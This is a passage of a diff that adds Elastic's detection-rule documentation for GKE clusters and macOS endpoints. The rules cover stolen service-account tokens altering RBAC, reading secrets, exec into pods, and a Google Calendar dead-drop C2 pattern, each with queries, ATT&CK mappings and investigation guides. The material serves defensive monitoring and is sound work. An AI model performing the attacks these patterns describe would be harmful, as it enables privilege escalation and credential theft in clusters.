Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-service-account-modified-rbac-objects.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-service-account-modified-rbac-objects.asciidoc new file mode 100644 index 0000000000..9c30a4622f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-service-account-modified-rbac-objects.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-gke-service-account-modified-rbac-objects]] +=== GKE Service Account Modified RBAC Objects + +Detects write operations performed by GKE service accounts against RBAC resources (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings). Service accounts typically do not manage RBAC directly; this activity may indicate token abuse or unauthorized privilege escalation. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/ +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Service Account Modified RBAC Objects* + + +This rule detects service accounts performing allowed write actions on RBAC resources. Stolen or over-privileged service +account tokens can silently alter authorization to gain or retain elevated access. + + +*Possible investigation steps* + + +- Review `client.user.email`, `event.action`, and `gcp.audit.resource_name`. +- Trace the acting service account to its owning workload and inspect recent image changes or exec activity. +- Correlate with change tickets or GitOps commits for the same RBAC object. + + +*False positive analysis* + + +- Platform operators and GitOps controllers running in-cluster commonly create or patch RBAC objects. + + +*Response and remediation* + + +- Revert unauthorized RBAC changes, rotate the service account credentials, and tighten RBAC for the workload. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +client.user.email:(system\:serviceaccount\:* and not ( + "system:serviceaccount:kube-system:clusterrole-aggregation-controller" or + "system:serviceaccount:kube-system:generic-garbage-collector" +)) and event.action:( + "io.k8s.authorization.rbac.v1.clusterrolebindings.create" or + "io.k8s.authorization.rbac.v1.clusterrolebindings.delete" or + "io.k8s.authorization.rbac.v1.clusterrolebindings.patch" or + "io.k8s.authorization.rbac.v1.clusterrolebindings.update" or + "io.k8s.authorization.rbac.v1.clusterroles.create" or + "io.k8s.authorization.rbac.v1.clusterroles.delete" or + "io.k8s.authorization.rbac.v1.clusterroles.patch" or + "io.k8s.authorization.rbac.v1.clusterroles.update" or + "io.k8s.authorization.rbac.v1.rolebindings.create" or + "io.k8s.authorization.rbac.v1.rolebindings.delete" or + "io.k8s.authorization.rbac.v1.rolebindings.patch" or + "io.k8s.authorization.rbac.v1.rolebindings.update" or + "io.k8s.authorization.rbac.v1.roles.create" or + "io.k8s.authorization.rbac.v1.roles.delete" or + "io.k8s.authorization.rbac.v1.roles.patch" or + "io.k8s.authorization.rbac.v1.roles.update" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-suspicious-assignment-of-controller-service-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-suspicious-assignment-of-controller-service-account.asciidoc new file mode 100644 index 0000000000..725c77e112 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-suspicious-assignment-of-controller-service-account.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-gke-suspicious-assignment-of-controller-service-account]] +=== GKE Suspicious Assignment of Controller Service Account + +Detects a request to attach a built-in kube-controller-manager service account to a pod running in the kube-system namespace on GKE. These service accounts are admin-equivalent and are not normally assigned to arbitrary pods. An attacker who can create pods in kube-system can abuse these tokens for cluster-wide privilege escalation. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/kubernetes-privilege-escalation-excessive-permissions-in-popular-platforms +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/#controller-roles + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Suspicious Assignment of Controller Service Account* + + +This rule flags pod create events in kube-system that assign a built-in kube-controller-manager service account. + + +*Possible investigation steps* + + +- Review `client.user.email`, `gcp.audit.request.spec.serviceAccountName`, and container images. +- Determine whether the pod aligns with expected platform operations. +- Assess permissions of the assigned service account and hunt for follow-on secret or RBAC activity. + + +*False positive analysis* + + +- Built-in controller service accounts should not be mounted on user-created pods. Allowlist known automation by actor if a documented exception exists. + + +*Response and remediation* + + +- Delete suspicious pods, revoke the service account token, and restrict pod create permissions in kube-system. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:"io.k8s.core.v1.pods.create" and gcp.audit.request.metadata.namespace:"kube-system" and +gcp.audit.request.spec.serviceAccountName:( + attachdetach-controller or certificate-controller or cloud-provider or + clusterrole-aggregation-controller or cronjob-controller or daemon-set-controller or deployment-controller or + disruption-controller or endpoint-controller or expand-controller or generic-garbage-collector or + horizontal-pod-autoscaler or job-controller or namespace-controller or node-controller or + persistent-volume-binder or pod-garbage-collector or pv-protection-controller or pvc-protection-controller or + replicaset-controller or replication-controller or resourcequota-controller or root-ca-cert-publisher or + route-controller or service-account-controller or service-controller or statefulset-controller or ttl-controller +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Default Accounts +** ID: T1078.001 +** Reference URL: https://attack.mitre.org/techniques/T1078/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-suspicious-self-subject-review-via-service-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-suspicious-self-subject-review-via-service-account.asciidoc new file mode 100644 index 0000000000..da1ec66873 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-suspicious-self-subject-review-via-service-account.asciidoc @@ -0,0 +1,108 @@ +[[prebuilt-rule-8-19-34-gke-suspicious-self-subject-review-via-service-account]] +=== GKE Suspicious Self-Subject Review via Service Account + +Detects GKE service account or node identities invoking self-subject access or rules review APIs. Non-human identities rarely enumerate their own permissions outside known controllers; this can indicate stolen tokens probing effective RBAC. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/authorization/#checking-api-access + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Suspicious Self-Subject Review via Service Account* + + +Review the calling service account or node identity and subsequent API activity. + + +*Investigation steps* + + +- Confirm `user.email` and `event.action` (selfsubjectaccessreviews or selfsubjectrulesreviews). +- Correlate with denied requests, secret access, or RBAC changes from the same identity. + + +*False positives* + + +- Known observability or workflow controllers; extend exclusions if needed. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and event.action:(io.k8s.authorization.v1.selfsubjectaccessreviews.create or io.k8s.authorization.v1.selfsubjectrulesreviews.create) and user.email:((system\:node\:* or system\:serviceaccount\:*) and not ("system:serviceaccount:default:argo-argo-workflows-server" or "system:serviceaccount:default:argo-argo-workflows-workflow-controller" or system\:serviceaccount\:*\:datadog-kube-state-metrics)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-unusual-sensitive-workload-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-unusual-sensitive-workload-modification.asciidoc new file mode 100644 index 0000000000..dda1dab3de --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-unusual-sensitive-workload-modification.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-gke-unusual-sensitive-workload-modification]] +=== GKE Unusual Sensitive Workload Modification + +Detects the first occurrence of create or patch activity against sensitive GKE workloads (DaemonSets, Deployments, or CronJobs) from an unusual combination of user agent, source IP, and user identity, which may indicate privilege escalation or unauthorized access within the cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control +* https://flare.io/learn/resources/blog/teampcp-cloud-native-ransomware + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Unusual Sensitive Workload Modification* + + +This new-terms rule alerts on the first create or patch of a DaemonSet, Deployment, or CronJob from a new combination of +`user_agent.original`, `source.ip`, and `client.user.email`. + + +*Possible investigation steps* + + +- Review the audit request for image, command, service account, and privileged settings changes. +- Attribute the actor to its backing identity and validate whether the source network is expected. +- Correlate with RBAC, secret, or exec activity from the same identity. + + +*False positive analysis* + + +- Legitimate on-call changes from new workstations or updated kubectl versions are common in lab clusters. + + +*Response and remediation* + + +- Roll back unauthorized workload changes, revoke the credential used, and tighten RBAC on workload controllers. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and event.outcome:success and user_agent.original:* and client.user.email:(* and not system\:*) and source.ip:* and event.action:(io.k8s.apps.v1.daemonsets.create or io.k8s.apps.v1.daemonsets.patch or io.k8s.apps.v1.deployments.create or io.k8s.apps.v1.deployments.patch or io.k8s.batch.v1.cronjobs.create or io.k8s.batch.v1.cronjobs.patch) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-unusual-service-account-secret-access-via-new-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-unusual-service-account-secret-access-via-new-user-agent.asciidoc new file mode 100644 index 0000000000..0a42ec0248 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-unusual-service-account-secret-access-via-new-user-agent.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-34-gke-unusual-service-account-secret-access-via-new-user-agent]] +=== GKE Unusual Service Account Secret Access via New User Agent + +Detects the first successful GKE secrets.get by a pod service account from a previously unseen combination of service-account identity, user agent, and source IP. Controllers routinely read secrets with a stable client fingerprint; a new user agent or source for that service account could indicate a stolen token used outside the workload (for example curl, a custom script, or kubectl from an unexpected host). + +*Rule type*: new_terms + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/authentication/#service-account-tokens + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Unusual Service Account Secret Access via New User Agent* + + +This new-terms rule alerts when a `system:serviceaccount:*` identity successfully calls `secrets.get` with a +`client.user.email` + `user_agent.original` + `source.ip` combination not seen in the history window. + + +*Possible investigation steps* + + +- Confirm whether the service account normally uses this user agent or whether the client looks like an interactive + or scripting tool (`curl`, `python`, `kubectl`, generic HTTP libraries). +- Review `gcp.audit.resource_name` and namespace scope against the workload's expected secret mounts and RBAC. +- Pivot on the same `client.user.email` or `source.ip` for secret list/get bursts, exec, or RBAC changes. +- Compare to recent deployments or operator upgrades that would legitimately introduce a new client string. + + +*False positive analysis* + + +- Operator or library upgrades that change the user-agent string for an otherwise unchanged service account. +- First enablement of the rule will surface baseline controller clients until the history window fills. + + +*Response and remediation* + + +- If malicious, revoke the service-account token, rotate exposed secrets, isolate the originating workload or + host, and tighten RBAC so the identity can only read required secrets. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and event.outcome:success and +event.action:"io.k8s.core.v1.secrets.get" and +client.user.email:system\:serviceaccount\:* and +user_agent.original:(* and not *kubernetes/$Format*) and +source.ip:(* and not (127.0.0.1 or "::1")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-user-exec-into-pod.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-user-exec-into-pod.asciidoc new file mode 100644 index 0000000000..4f378dd3d8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-user-exec-into-pod.asciidoc @@ -0,0 +1,102 @@ +[[prebuilt-rule-8-19-34-gke-user-exec-into-pod]] +=== GKE User Exec into Pod + +Detects the first occurrence of a non-system GKE identity establishing an exec session into a pod. kubectl exec enables interactive command execution inside workloads and is a common post-compromise technique to access secrets and expand access. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE User Exec into Pod* + + +This new-terms rule alerts on the first exec into a given pod by a user identity in the lookback window. + + +*Investigation steps* + + +- Review `user.email`, `orchestrator.resource.name`, `source.ip`, and `user_agent.original`. +- Determine whether the target pod holds sensitive data or cluster credentials. +- Correlate with secret access or RBAC changes from the same identity. + + +*False positives* + + +- Approved admin debugging; exclude stable operator identities after review. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:("io.k8s.core.v1.pods.exec.create" or "io.k8s.core.v1.pods.exec.get") and +not user.email:system\:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-calendar-c2-via-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-calendar-c2-via-script-interpreter.asciidoc new file mode 100644 index 0000000000..6ce64bd7c6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-calendar-c2-via-script-interpreter.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-google-calendar-c2-via-script-interpreter]] +=== Google Calendar C2 via Script Interpreter + +Detects a two-stage Google Calendar C2 pattern where a scripting runtime (Node.js, Python, osascript) first connects to calendar.app.google to retrieve a hidden C2 address, then initiates a secondary connection to the decoded C2 host. This sequence is characteristic of packages using Unicode steganography in Google Calendar events to stage dynamic command-and-control endpoints. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.veracode.com/resources/sophisticated-npm-attack-leveraging-unicode-steganography-and-google-calendar-c2 +* https://www.koi.ai/blog/glassworm-first-self-propagating-worm-using-invisible-code-hits-openvsx-marketplace + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Web Service Abuse +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Google Calendar C2 via Script Interpreter* + + +Threat actors increasingly abuse legitimate cloud services to establish covert command and control channels that blend with normal traffic and bypass traditional network security controls. Google Calendar has been weaponized as a C2 mechanism where attackers store encoded commands in calendar event descriptions, which malware then polls and executes. This detection rule identifies script interpreters connecting to Google Calendar API endpoints, which may indicate this living-off-the-land technique. + + +*Possible investigation steps* + + +- Review the process.name and process.executable fields to identify which script interpreter is making the Google Calendar API connection and assess whether it is expected for the user or application context. +- Examine the process.command_line and process.args fields to understand what script or code is being executed that initiated the calendar connection. +- Check the process.parent.executable and process.parent.command_line to trace the process lineage and identify how the script interpreter was launched. +- Investigate the Google Workspace audit logs for the associated user account to review calendar events that may contain encoded commands or suspicious content. +- Review network connection details including dns.question.name and destination.ip to understand the specific Google API endpoints being accessed. +- Correlate with authentication events to identify which user account or service account OAuth tokens are being used for the calendar access. +- Search for similar activity across other endpoints to determine if this is an isolated incident or part of a broader campaign. + + +*False positive analysis* + + +- Legitimate productivity applications may integrate with Google Calendar for scheduling and automation purposes. Verify the application's purpose and whether it is approved by IT. +- Custom automation scripts built by employees may access Google Calendar API for workflow automation. Review with the script owner to confirm legitimacy. +- Development and testing environments may trigger this detection when building calendar integrations. Document known development activities and create targeted exceptions. +- Third-party calendar sync applications may use script interpreters to interface with Google Calendar. Verify these are sanctioned applications. + + +*Response and remediation* + + +- Immediately terminate the suspicious script interpreter process to stop any ongoing C2 communication. +- Revoke OAuth tokens and API credentials associated with the compromised Google account to prevent further unauthorized access. +- Review Google Workspace admin console for any unauthorized calendar events or modifications that may contain malicious content. +- Isolate the affected macOS system from the network while conducting forensic analysis. +- Perform a comprehensive scan for additional malware, persistence mechanisms, or lateral movement indicators. +- Reset the affected user's credentials and enable multi-factor authentication if not already in place. +- Implement application allowlisting to prevent unauthorized script interpreters from executing. +- Escalate to the security operations team for further investigation into potential data exfiltration or broader compromise. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=20s + [network where host.os.type == "macos" and event.type == "start" and + (process.name in ("node", "osascript") or process.name like "python*" or + process.code_signature.trusted == false or process.code_signature.exists == false) and + destination.domain like "calendar.app.google*"] + [network where host.os.type == "macos" and event.type == "start" and destination.domain == null] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Dead Drop Resolver +** ID: T1102.001 +** Reference URL: https://attack.mitre.org/techniques/T1102/001/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-secops-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-secops-external-alerts.asciidoc new file mode 100644 index 0000000000..989dfac2d7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-secops-external-alerts.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-google-secops-external-alerts]] +=== Google SecOps External Alerts + +Generates a detection alert for each Google SecOps alert written to the configured indices. Enabling this rule allows you to immediately begin investigating Google SecOps alerts in the app. + +*Rule type*: query + +*Rule indices*: + +* logs-google_secops.alert-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://docs.elastic.co/en/integrations/google_secops + +*Tags*: + +* Data Source: Google SecOps +* Use Case: Threat Detection +* Resources: Investigation Guide +* Promotion: External Alerts +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Data Source: Google SecOps Forwarded Events +* Domain: Network + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + +Triage and analysis + + +*Investigating Google SecOps External Alerts* + + +Google SecOps provides a robust framework for monitoring and managing security operations within cloud environments. The rule leverages specific event identifiers to flag suspicious alerts, enabling analysts to swiftly investigate potential threats and mitigate risks. + + +*Possible investigation steps* + + +- Examine the timeline of events leading up to and following the alert to identify any unusual patterns or activities that may indicate malicious behavior. +- Cross-reference the alert with other security logs and alerts to determine if it is part of a broader attack pattern or isolated incident. +- Investigate the source and destination IP addresses involved in the alert to assess their legitimacy and check for any known malicious activity associated with them. +- Analyze user activity associated with the alert to identify any unauthorized access or privilege escalation attempts. +- Consult the Google SecOps investigation guide and resources tagged in the alert for specific guidance on handling similar threats. + + +*False positive analysis* + + +- Alerts triggered by routine administrative actions can be false positives. Review the context of the alert to determine if it aligns with known maintenance activities. +- Automated scripts or tools that interact with Google SecOps may generate alerts. Identify these scripts and consider creating exceptions for their expected behavior. +- Frequent alerts from specific IP addresses or user accounts that are known to be secure can be excluded by adding them to an allowlist. +- Alerts resulting from testing or development environments should be reviewed and, if deemed non-threatening, excluded from triggering further alerts. +- Regularly update and review exception lists to ensure they reflect current non-threatening behaviors and do not inadvertently exclude genuine threats. + + +*Response and remediation* + + +- Immediately isolate affected systems or accounts identified in the Google SecOps alert to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of the alert details to identify any compromised credentials or access tokens and reset them promptly. +- Implement network segmentation or access control measures to limit the spread of potential threats within the environment. +- Review and update firewall rules and security group settings to block any suspicious IP addresses or domains associated with the alert. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional resources are needed. +- Document the incident, including all actions taken, and update incident response plans to incorporate lessons learned from this event. +- Enhance monitoring and detection capabilities by tuning existing alerts and deploying additional rules to detect similar activities in the future. + + +==== Setup + + + +*Setup* + + + +*Google SecOps 